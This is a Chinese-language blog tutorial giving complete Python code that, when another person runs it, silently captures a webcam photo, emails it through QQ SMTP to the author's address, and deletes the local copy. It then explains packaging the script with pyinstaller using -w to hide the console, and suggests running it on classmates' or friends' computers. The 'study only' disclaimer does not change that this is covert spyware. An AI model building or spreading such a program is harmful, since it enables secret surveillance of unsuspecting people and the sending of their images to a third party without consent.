前言
最近,要搞一个小项目,要用到opencv,于是就开始学习opencv-python。在学习的过程中,发现opencv加上python发邮件还可以做一些有趣的事情,于是想把这记录下来。
这个程序可以在别人运行时打开摄像头拍一张照片,然后发送到你的邮箱中。是不是有点小刺激。
仅供个人学习,不得用于其他目的!
基础知识
python中引入opencv库:import cv2
下载这个库可以用pip来进行:pip install opencv-python
cv2.VideoCapture(0)这个函数会打开笔记本的内置摄像头。
cv2.imwrite()这个函数会保存一个图片。
主要的函数就只有这两个。
然后就是用python发邮件(还得附带一张图片),这个比较麻烦。
我参考了很多资料,最后写了一个我的,希望大神们可以指出我的问题。
我是用SMTP来发邮件,需要配置一下邮箱,我用的是qq邮箱。
首先进入设置
然后进入到账户,找到:
将SMTP服务打开,然后生成授权码。其他应用就可以用你的邮箱发邮件了。
代码
下面就是整个程序的代码。
from smtplib import SMTP_SSL,SMTPException
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from cv2 import VideoCapture,imwrite
from os import remove
def send():
_user = "" #发送图片的邮箱
_pwd = "" #邮箱密码(授权码)
_to = "" #收图片的邮箱
msg = MIMEMultipart('related')
msg["Subject"] = "照片"
msg["From"] = _user
msg["To"] = _to
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
msg.attach(content)
file = open("1.png","rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
msg.attach(img)
try:
s = SMTP_SSL("smtp.qq.com", 465)
s.login(_user, _pwd)
s.sendmail(_user, _to, msg.as_string())
s.quit()
print("Success!")
except SMTPException as e:
print("Falied,%s",e)
def get():
capture = VideoCapture(0)
_ ,frame = capture.read()
imwrite("1.png",frame)
capture.release()
def dell():
remove("1.png")
if __name__ == "__main__":
get()
send()
dell()
思路就是先打开摄像头,再拍一张照片,再储存下来,然后用邮件发送,最后将照片删除。
后续工作
如果,你的同学,朋友电脑没有安装python的环境,你可以用pyinstaller来把py文件打包成exe文件。
pyinstaller安装:pip install pyinstaller
打包时可以使用-w参数来去掉控制台窗口。
结语
希望可你帮到你们。(呵呵呵)
仅供个人学习,不得用于其他目的!